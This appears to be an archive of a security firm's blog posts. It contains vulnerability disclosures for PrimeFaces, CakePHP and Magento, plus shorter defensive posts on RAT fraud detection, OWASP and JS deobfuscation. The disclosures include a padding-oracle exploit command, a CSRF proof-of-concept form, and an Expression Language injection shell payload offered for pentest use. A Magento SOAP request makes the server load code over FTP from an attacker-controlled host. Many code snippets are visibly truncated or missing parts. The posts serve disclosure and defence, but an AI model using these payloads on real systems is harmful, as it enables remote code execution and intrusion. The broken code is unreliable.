Monday, February 15, 2016

RCE in Oracle NetBeans Opensource Plugins: PrimeFaces 5.x Expression Language Injection

PrimeFaces is a open source User Interface (UI) component library for JavaServer Faces (JSF) based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world.

Disclosure Timeline

PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing  the following details. Unfortunately the vulnerability has still not been fixed.

PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.

PrimeOracle and PrimeSecret Vulnerability Detail

The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.

The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:

Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.

In this post we shared a generic payload to execute a remote interactive command shell via EL .

These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".

Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.

1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).

2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).

The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:


String dynamicContentId = (String)
String dynamicContentEL = strEn.decrypt(dynamicContentId);
ValueExpression ve =
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);

In 2011 a user already reported to the dev team the dangerous impacts of EL injection: 
StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.

In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.


Vulnerable Code that leads to PrimeSecret:

file: "/org/primefaces/config/"

// By default encryption Key is the hardcoded string "primefaces"

secretKey = (value == null) ? "primefaces" : value;


Vulnerable Code that leads to PrimeOracle:

file: "/org/primefaces/util/"

// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03

// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)

KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =

Exploitation is easy with PadBuster

In the following example we are going to show the exploitation of  PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.

That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.

First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.

In this case the payload we have chosen is:

// Set a response Header with a value of "primesecretchk" Request Parameter

Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.

Then just launch Padbuster with the following command:

"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext

| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
|                      |

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

ID#    Freq    Status    Length    Location
1    1    500    65715    N/A
2 **    255    200    0    N/A

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2

** Finished ***

[+] Encrypted value is:


To check if the application is vulnerable:

chk="123445456"; curl -X POST
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk

primesecretchk: 123445456

//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey

The application is vulnerable because of the new added response header: "primesecretchk: 123445456"


Since an official patch is still not available end users and companies can protect their application by disabling

Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.

Isn't enough to change the default "secretKey"?

Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.

Friday, February 5, 2016

RAT WARS 2.0: Advanced Techniques for Detecting RAT Screen Control

In the landscape of web maliciousness Remote Administration Trojans [1] are not a new trend but their usage is still strong and growing steady.

At its core a RAT is a backdoor facility used to let an attacker enter unnoticed into the victim computer to control it remotely: for example most banking trojan nowadays are using remote desktop modules to open a VNC/RDP channel to allow an attacker to exfiltrate the money from within the users browser inside its legit session.

Newer sophisticated malware like Dyre are stepped up the game by completely diverting the user on fake banking portals while keeping the login session alive in the background, and once the user has disclosed the required credentials, the attacker connect to the user machine via a remote desktop channel and perform the wire fraud unnoticed.

RAT Screen Control

The usual attack is comprised by two phases.

The first step is when a Dyre infected user enter the banking website location inside the browser and the request is proxied by the malware to a fake website that is identical to the bank website just after the real login. In the background Dyre keep the real banking session open.
The second phase happens as soon as the attacker receives an automated Jabber notification with user session data and a VNC callback to a protected terminal server. He then starts interacting with the user by sending challenging questions, fake pages and fake login field to the fake browsing session to the user. The user start answering the attackers forms providing needed information while the attacker starts a screen control session towards the user PC to use the real user session to perform the wire fraud.

This is why this kind of attack it is so hard to detect: for the most part the attack killchain [2] is happening out of reach from the bank's anti fraud capabilities. The only exception is the final exfiltration phase when the only thing left is the chance to detect the attacker session, but even then the attacker is coming from within the legit user session making things harder.
These inner weaknesses of classic agentless fraud detection techniques are the reason behind the increase of popularity and sophistication of this kind of attacks.
Since what agentless fraud detections can do is to detect infected users or detect the attacker session by diverting users to web fakes and masquerading the attacker session there is a high chance to nullify the whole detection.

Then how can a bank portal understand what’s going on if what they see is a session initiated from the usual user’s ip address, from the usual user’s browser fingerprint, without any kind of webinject/AST or other common indicators of compromise?

Advanced RAT detection techniques.

To respond to this new kind of fraud Minded Security has started to research viable detection techniques and implemented a new solution based on Telemetry Modeling.

This is a short description of the viable detection techniques: Desktop Properties Detection, Detection of Velocity Pings or Session Keepalives, Telemetry Modeling of User Biometrics, Telemetry Modeling of Protocols and IOC Detection.

Desktop Properties Detection

This is the most basic detection whose point is to detect anomalies in the properties of the browser/desktop used: for example older RDP protocols might alter the color depth, or hidden VNC session may have unusual desktop resolutions.

Those indicators can be tracked and then correlated to build a detection.

Detection of Velocity Pings or Session Keepalives

While waiting for the user to disclose his PIN/OTP the attacker must keep the user session alive if he want to use it later to perform a wire transfer. This is what “velocity pings” are for: periodic faster HTTP requests whose goal is to keep the session alive.

The requests cadence, their content can be used to build an indicator of compromise and trigger a detection.

Telemetry Modeling of User Biometrics

The point of this approach is to track the user telemetry (keyboard usage, mouse movements, input gestures) to build a model of the user. Once the model is built it is used as yardstick in an anomaly detection context: the output provided give an insight if the current session is being used by the usual users.

Unfortunately while this information is indeed useful, the weaknesses are manifold.
First the infrastructure needed is far from lightweight: it needs to store big data for the user models and has to run complex machine learning algorithms nearly real time to perform the anomaly detection. This means a complex and expensive infrastructure.
Secondly the detection is fooled in the corner case of a single machine shared by different people, think of a corporate environment [3].

Telemetry Modeling of Protocols

This detection is one of the most advanced and relies on tracking glitches and anomalies in how the user’s telemetry is transmitted by the desktop remote protocol.

For example if there is a remote desktop in place, the telemetry data is compressed and passed trough by the remote desktop protocol itself or if the user is browsing the bank page trough a virtual machine, the input is filtered by the VM layer. All these added software layers operates to synchronize between the input received and the input reproduced adding glitches that could be tracked as anomalies.

This let to have a very light engine that is able to lively catch latency generated by user interface flowing through filter-driver chains. Typically VM guest environments and remote control tools install additional layered interfaces to replicate cursor positions and this creates latency patterns we can detect.

Once these anomalies are collected they are used to understand in real time if there is a remote connection in place. We provide this detection approach in our anti fraud suite AMT - RATDET Module.

IOC Detection

A malware infection can alter the profile of the user’s machine/browser and these alterations could be tracked and used as indicators of compromise to flag the user as a potential victim of fraud.

Or it could be possible to check the existence of certain files on the user file system, like suspicious executables, hidden vnc servers and others that can be used as an evidence of infection.

As an example here is a brief proof of concept that is also used by common exploit kits:

These indicators vary from malware to malware but are indeed very useful to prevent a fraud in the early stage of the killchain, as soon the user is infected and before the exfiltration is put in place.

In conclusion In this rat-race against financial malware there is not a de facto detection to be used: malware are constantly evolving and so should our defense techniques

In our opinion the recipe to a successful anti fraud monitoring lies into having a flexible and modular approach: mixing different detection techniques to build an unified risk model of the users.
[3]: A provider for this kind of solution is BioCatch.

Tuesday, January 12, 2016

Request parameter "_method" may lead to CakePHP CSRF Token Bypass

In CakePHP we noticed that under certain circumstances is it possible to bypass the built-in security checks offered by CSRF and anti-tampering.

As stated in the official documentation "By using the Security Component you automatically get CSRF and form tampering protection" [1], however this is not true in case a form controller does not check whether the request is a 'POST' or 'PUT' using $this->request->is().

This because CSRF protection is only applied to specific methods e.g POST and PUT HTTP Methods. In Addition by leveraging the HTTP method overriding feature defined into the CakeRequest::_processPost() method, is possible to overwrite the original request method with an arbitrary method chosen by the attacker.

The following one is the original proof of concept that we sent to the CakePHP team, were by abusing the "_method" parameter is possible to specify and arbitrary method e.g. "CSRF" that is not checked against CSRF.

CSRF Bypass proof of Concept

The vulnerability can be exploited by tricking a victim user (currently logged into a vulnerable application) into visiting a web page like this:

<form action="http://[HOST]/user/add" method="POST">
<input name="_method" type="hidden" value="CSRF" />
<input name="user" type="hidden" value="hacker" />
<input name="password" type="hidden" value="pwd" />

This affects CakePHP 2.x:
And similarly affects also CakePHP 3.x:

Thanks to our feedback, developers of CakePHP have issued this patch:

It's important to mention that this patch implemented by CakePHP team now allows only GET, HEAD, OPTIONS methods to be left unprotected: indeed this is a partial fix. Of course the previous proof of concept will no longer work , however with little modifications e.g. <input name="_method" type="hidden" value="HEAD" /> attackers will still have the job done.

Developers  should check HTTP method carefully


The official documentation has also been updated

Now we see in here the written evidence that developers should properly check request HTTP methods before processing the request. To not be vulnerable to trivial CSRF attacks be sure that your CakePHP application always checks HTTP methods, as now correctly stated in the updated documentation [2]

The important note regarding the mandatory check is:

 "You should always verify the HTTP method being used before executing side-effects. You should check the HTTP method or use Cake\Network\Request::allowMethod() to ensure the correct HTTP method is used."



Vulnerability Found and Reported by Egidio Romano

Monday, November 23, 2015

Reliable OS Shell with - EL [ Expression Language ] - Injection

Abusing EL for executing OS Commands

Expression Language injection

Wow! It may lead to remote command execution on modern Servlet environments. This was  pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).

In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue  in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.

EL Injection example in a JSF Facelets Environment

index.xhtml gets “expression” parameter from the request and sends it to evalAsString():

        Hello from Facelets 
        <br /> 
        <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> implements ELAsString() that an EL implementation that evaluates arguments dynamically:

import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;


public class NewClass implements Serializable {
    public static String ELAsString(String p_expression)
    FacesContext context = FacesContext.getCurrentInstance();
    ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory();
    ELContext elContext = context.getELContext();
    ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class);
    String result = (String) vex.getValue(elContext);
    return result;

Why a One-Liner OS command shell payload?

The rules of this OS command shell game:

- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL

Final payload

proc = new
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}

Payload Explained

Feel free to change it and modify it to fit your current target.

1) Setting the charset:


2) Invoking ScriptManager constructor without arguments and we store the  instance as a session object:


3) Redirect ScriptEngine output writer output to the Http Response writer input:


4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “”) with the JS code that executes the runtime command:


5) Getting proc standard Output and reading it via java.util.Scanner and printing it out

var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}

5) Closing the http response

Is a Servlet Modern enough for a reliable RCE?

JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.

  • Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
  • Servlet 2.5 comes with JSP/EL 2.1.
  • Servlet 2.4 comes with JSP/EL 2.0.
  • Servlet 2.3 comes with JSP 1.2 without EL.
Note: Newer servers like Tomcat 8 and 9 have even newer servlet versions and better capabilities, but our target was running Jetty 9.1.

In 2012 Dan Amodio from Aspect Security  ( discovered that  “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.

The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This  is a boring limitation since we can only invoke or call a limited number of methods:

private Object invokeMethod(Method m, Object base, Object[] params)
/*     */   {
/* 764 */     Class[] parameterTypes = m.getParameterTypes();
/* 765 */     Object[] parameters = null;
/* 766 */     if (parameterTypes.length > 0) {
/* 767 */       ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */       if (!m.isVarArgs())
/*     */       {
/*     */
/* 771 */         parameters = new Object[parameterTypes.length];
/* 772 */         for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */           parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/*     */         }
/*     */       }
/*     */     }
/*     */     try
/*     */     {
/* 779 */       return m.invoke(base, parameters);

If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine.  JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.

JS Rhino Script Engine is supported in Java 6 and 7,  Mozilla Nashorn Script Engine is available from Java 8.  For more information:


Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.

Exploit Payload request:

n0def@n0def:/# curl

Exploit Payload Response:



Wednesday, November 4, 2015

Software Security in practice

Last week I did a talk at the AIEA Turin Chapter on Software Security in Practice.

I started the talk asking some key questions:

- What is Secure Software?

- How can a Company manages the security of the applications today?

- How can OWASP support the Enterprises to develop, maintain and buy Software ever more secure?

- What is a structured approach to the Governance of Software Security?

What we can say today is that Secure Software does not exist: the vulnerabilities in the software development process are expected. The control of the security bugs and flaws in the software should be considered as part of the process of software development. Below

I do a summary of the basic principles of software security and how OWASP can help to create a structured approach to the Governance of Software Security.

1) If you do not ask for security, no one will develop "secure software".
- Use the OWASP Software Contract Annex to regulate your outsourcer contracts

2) If you do not know the application threats, you will develop unsecure software.
- Use the OWASP Top 10 for General Awareness
- Use the OWASP CISO Guide for Management’s Awareness

3) Vulnerabilities in the software development process are expected.
- Use the OWASP Building Guide and ESAPI to write more secure software
- Use the OWASP Secure Code Review Guide to review the code
- Use the OWASP Testing Guide to review your application

4) The fixing process is the most important step of the process of software security.
- Retest your application after a bug fixing or a new release to be sure that the right implementations are in place

5) Software Security Governance is the key to have a mature SDLC.
- Use the OWASP SAMM to assess your maturity and to build an Application Security Program to manage the SDLC.

At the end of the presentation I show how the Companies are approaching Software Security today in the real world using OWASP SAMM and BSIMM 6.

You can read the presentation here.

Wednesday, October 28, 2015

Advanced JS Deobfuscation Via AST and Partial Evaluation (Google Talk WrapUp)

The following post is a wrap up of a presentation I made for Google thanks to a very interesting initiative to meet web security researchers and Google security engineers - Thanks for the opportunity, BTW!

Instead of talking about my usual things like advanced DOM Based XSS  topics, I decided to propose some research about alternative approaches in JavaScript deobfuscation stuff we've been working on early this year.

In fact, here at Minded Security we deal with JavaScript since several years by now and
Client side security research, AMT agentless anti malware products, DOMinatorPro are only a few of the reasons our work on JavaScript is always part of our daily job.

Everyone admits JavaScript code can be sometimes really hard to read, especially when dealing with minimized code or obfuscated malware and even if there are quite a bunch of JS deobfuscators, most of them are runtime sandboxes or too simple static analyzers.

Here's why we developed JStillery. 
An internal product that helps us for:
  • Analysis of JS malware samples extracted from AMT logs
  • JS Normalization for Malware classification
  • Automatic support for exploiting DOM Based XSS on custom, minimized libraries using DOMinatorPro
  • WAF Analysis of XSS Payloads

and a short video that shows what JStillery can do:

Comments are always welcome!

Friday, September 11, 2015

Autoloaded File Inclusion in Magento SOAP API (SUPEE-6482)

This past February we reported an interesting and quite overlooked kind of vulnerability in the Magento web e-commerce platform. The vulnerability might allow an authenticated attacker to execute arbitrary code on the affected web stores, and this can lead to a complete compromise, including credit card information and personal data theft. We received the first reply from the Magento Security Team on June 22, 2015, stating that our submission was not eligible for the bug bounty program, because it was found to be invalid and not actionable. The reason for the rejection was that there are too many requirements to exploit the vulnerability, first of all it requires that Magento is running on outdated PHP versions, because this kind of vulnerability has been fixed in the PHP core engine at the beginning of 2014. However, as we will see in this post, there are still many websites out there using such outdated PHP versions. That should be one of the reasons why the Magento Security Team replied us on June 25, 2015, stating the following:
We were able to confirm your issue. Even though it requires knowing API credentials, it should not be possible to execute such actions. The PHP versions that are additionally vulnerable, while old are still used in popular distributions like RHEL 7.1. We will schedule fixing this issue for our next product release given lower priority. We will inform you regarding possible awards associated with this report.
On August 4, 2015, a bundle of patches (SUPEE-6482) has been released by the Magento team, that resolved several security-related issues, including the one we reported in February. The same day Magento released new versions (Community Edition and Enterprise Edition that include SUPEE-6482 along with other security patches. On August 13, 2015, we requested a new CVE identifier for this vulnerability, and MITRE has assigned the name CVE-2015-6497 for it.

What is an "Autoloaded File Inclusion" vulnerability?

This kind of vulnerability might affect PHP applications which uses an "exploitable" autoloading mechanism. The "Autoloading Classes" feature has been introduced in PHP 5.0 with the magic function __autoload() which is automatically called when your code references a class or interface that hasn’t been loaded yet. So, instead of including every needed class by hand, is it possible to register a function that gets called as soon as the code try to instantiate an unknown class. This function gets passed the unknown class name and is responsible for including the right file that contains the class definition. As an aside, starting from PHP 5.1.2 autoload-functions are usually registered via spl_autoload_register(), which provides a more flexible alternative for autoloading classes. For this reason, using __autoload() is discouraged and may be deprecated in the future. Here’s an example of an extremely basic __autoload() implementation, which attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively (it's taken from the official PHP documentation page):


 function __autoload($class_name) {
    include $class_name . '.php';

 $obj  = new MyClass1();
 $obj2 = new MyClass2(); 


While this feature is extremely useful and powerful, it might introduce potential local/remote file inclusion vulnerabilities when user-controlled input is used as a class name. Indeed, if an attacker can control the class name variable passed to an autoloading function, she could try to play around with it in order to include an arbitrary file and execute PHP code remotely. There are multiple ways to trigger the autoloader, the most obvious is class instantiation using the new operator. In addition to that, there are some PHP functions which can be considered as sensitive sinks for this kind of vulnerability. Here is an incomplete list:

So, when user-controlled input (tainted data) enters one of these sensitive sinks there's a chance for the application to be vulnerable to "Autoloaded File Inclusion". Let's see a trivial example of vulnerable scripts:


 /* File: autoload.php */

 function __autoload($class_name) {
    include $class_name . '.php';



 /* File: vuln.php */


 if(isset($_GET['class']) && class_exists($_GET['class'])) {
    $obj = new $_GET['class'];
 } else {
    die('No class found');

 /* Some code... */


In this example an attacker controls a class name via the GET parameter "class", which is first used with the class_exists() function (triggering the autoloader in case it is an unknown class) and then to instantiate a new object. This means that the attacker can control the $class_name variable passed to the autoloader, therefore it could be possible to include arbitrary files from both local or remote resources by invoking URLs like these:

In the first case the autoloader will try to include and execute the PHP code located at, resulting in a Remote File Inclusion (RFI); while in the second case the autoloader will try to include and execute the PHP code located into the file /tmp/cache/attacker_controlled/file.php, resulting in a Local File Inclusion (LFI). Furthermore, in cases like this where the attacker controls the classname's prefix, in addition to http:// other PHP wrappers might be abused in order to execute arbitrary PHP code.

But... wait a moment! According to the official documentation "a valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores". That means an attacker cannot include arbitrary files via class names because it should not be possible to e.g. use path traversal sequences (../../) through them. But here comes the problem: there was a bug in the PHP core which allowed to invoke class autoloaders with invalid class names. This bug has been solved in January 2014 with the release of PHP versions 5.4.24 and 5.5.8.

How many vulnerable PHP installs are out there?

Well, the bug which might enable this kind of vulnerability has been fixed by the PHP team at the beginning of 2014. But is this enough to say this kind of vulnerability should not pose any security concern? Maybe not... At the end of 2014 has been published a blog post showing that 78% of all PHP installs were not secure, meaning they had at least one known security vulnerability. Antony Ferrara, the author of that post, used the statistics data from W3Techs in order to come to that conclusion. Let's try to do the same with regards to the PHP installs affected by the autoloading bug. In other words, let's check how many PHP websites are using PHP versions before 5.4.24 or 5.5.8.

The above table has been retrieved from the PHP version 5 usage statistics page from W3Techs, as of September 10, 2015. It shows that at least 54.2% of websites using PHP are affected by the autoloading bug (38.5% is using PHP 5.3, 14.7% is using PHP 5.2 and 1% is using PHP 5.1). Next step is to see how many websites are using vulnerable PHP 5.4.x and 5.5.x versions. The usage statistics page for subversions of PHP 5.4 show that 12.7% of websites using PHP are running a version before 5.4.24, while the usage statistics page for subversions of PHP 5.5 show that 3.5% of websites using PHP are running a version before 5.5.8. Overall, this means that 70.4% of websites using PHP are affected by the autoloading bug. Roughly speaking, considering that according to the official website Magento powers more than 240,000 online shops, this could mean that over 150,000 websites powered by Magento might be affected by CVE-2015-6497.

Technical description of the vulnerability

The vulnerability is caused by the Mage_Catalog_Model_Product_Api_V2::create() method, which handles the "catalogProductCreate" SOAP API call. The vulnerable code is located into the /app/code/core/Mage/Catalog/Model/Product/Api/V2.php script:

    public function create($type, $set, $sku, $productData, $store = null)
        if (!$type || !$set || !$sku) {


        /** @var $product Mage_Catalog_Model_Product */
        $product = Mage::getModel('catalog/product');

        if (!property_exists($productData, 'stock_data')) {
            //Set default stock_data if not exist in product data
            $_stockData = array('use_config_manage_stock' => 0);

This method expects the $productData parameter to be an array (in form of a stdClass object) and uses the property_exists() function with it. However, an attacker can manipulate a SOAP request arbitrarily and send the $productData parameter in form of a string. In this case, if the string passed to the property_exists() function is an unknown class, any registered autloader function will be triggered. When the property_exists() function is called there's only one autoloader function registered, that is the Varien_Autoload::autoload() method:

    public function autoload($class)
        if ($this->_collectClasses) {
            $this->_arrLoadedClasses[self::$_scope][] = $class;
        if ($this->_isIncludePathDefined) {
            $classFile =  COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR . $class;
        } else {
            $classFile = str_replace(' ', DIRECTORY_SEPARATOR, ucwords(str_replace('_', ' ', $class)));
        $classFile.= '.php';
        //echo $classFile;die();
        return include $classFile;

In such a scenario, the $class parameter automatically passed to this method is exactly the same string value sent through the $productData parameter from the SOAP request, which after some replacementes and a ".php" string appended to it, is being used in a call to the include() function. This may result in an arbitrary file inclusion (both from local or remote resources) and could be exploited to include and execute arbitrary PHP code. There are some conditions which should be met in order to exploit this vulnerability:

  • an API user account with privileges to create a catalog product is required;
  • in order to include arbitrary files from remote locations, Magento should run on PHP before 5.4.24 or 5.5.8, because such versions have fixed the issue related to invalid class names in the autoloading process;
  • in order to include arbitrary files from remote locations the "allow_url_include" directive must be set to On;
  • in case the allow_url_include directive is set to Off it might still be possible to include files from remote locations using the ssh2.sftp:// wrapper (which requires the SSH2 extension to be installed) or execute arbitrary OS commands leveraging the expect:// wrapper (which requires the Expect extension to be installed).

NOTE: if Magento is running on PHP version after 5.4.23 or 5.5.7 the vulnerability could still be exploited by including a local file with a .php extension (something like /tmp/test.php). If Magento is running on PHP before 5.3.4 the vulnerability could be exploited to include arbitrary local files with any extension (e.g. a session file containing malicious PHP code injected by the attacker) because NULL bytes are allowed within the path (see CVE-2006-7243).

Proof of Concept

Once logged in with valid API credentials, an attacker could send a SOAP request like the following in order to try to exploit the vulnerability:
POST /magento/index.php/api/v2_soap HTTP/1.0
Host: localhost
Content-Length: 804
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:ns1="urn:Magento" xmlns:xsd="" xmlns:xsi="" xmlns:SOAP-ENC="" SOAP-ENV:encodingStyle="">
<sessionId xsi:type="xsd:string">VALID_SESSION</sessionId>
<type xsi:type="xsd:string">simple</type>
<set xsi:type="xsd:string">4</set>
<sku xsi:type="xsd:string">test</sku>
<productData xsi:type="xsd:base64Binary">ZnRwOi8vYXR0YWNrZXI6cGFzc3dvcmRAYXR0YWNrZXJfc2VydmVyLmNvbS9ob21lL2F0dGFja2VyL2V2aWw=</productData>
<storeView xsi:nil="true"/>

The  "productData" parameter has been encoded in base64 within the SOAP request, and the decoded string is the following:

This means that leveraging the ftp:// wrapper, an attacker might be able to force Magento to load and execute malicious code from a FTP server under its control. In this example, the attacker only has to put the malicious code under /home/attacker/evil.php. However, as we said before, other PHP wrappers might be abused, potentially leading to direct arbitrary PHP code execution.